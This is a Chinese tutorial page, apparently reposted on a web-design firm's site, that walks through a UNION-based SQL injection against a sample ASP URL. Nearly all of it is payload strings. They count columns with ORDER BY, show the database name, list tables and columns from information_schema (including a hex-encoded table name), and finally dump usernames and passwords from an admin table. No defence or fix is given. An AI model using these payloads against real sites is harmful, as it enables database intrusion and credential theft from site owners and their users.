成都创新互联网站制作重庆分公司

sql注入:union联合查询

例如有一个网站:www.xxxxx.com/artist.asp?id=2

创新互联公司专注于银州网站建设服务及定制,我们拥有丰富的企业做网站经验。 热诚为您提供银州营销型网站建设,银州网站制作、银州网页设计、银州网站官网定制、微信小程序定制开发服务,打造银州网络公司原创品牌,更为您提供银州网站排名全网营销落地服务。

id=2 order by 3  正常
id=2 order by 4  不正常

order by需要获取字段的总数为3

id=2 union select 1,2,3
id=2 union select 1,2,database()   #爆数据库名
id=2 union select 1,2,database()

有一些数据,union联合查询后,不会多行显示,就需要先让前面的语句失效

id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru,爆表名(第一个表)

因id = -2不存在,带入select * from admin where id=-2报错哦
当然你也可以用下面的这个语句,效果等同于“id=-2”

id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru,爆表名(第一个表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知数据库sqlzhuru,爆表名(第一个表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知数据库sqlzhuru,爆第二个表

假如得到admin表,继续如下:

id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1   #已知admin表,爆二个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1   #已知admin表,爆三个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1  #已知admin表,爆三个列名(十六进制表示admin表)

假如上面得到admin表下的username、password列,接下来就可以列出某某的数据了
id=2 and 1=2 union select 1,username,password from admin


本文标题:sql注入:union联合查询
标题来源:http://cxhlcq.com/article/ggpcog.html

其他资讯

在线咨询

微信咨询

电话咨询

028-86922220(工作日)

18980820575(7×24)

提交需求

返回顶部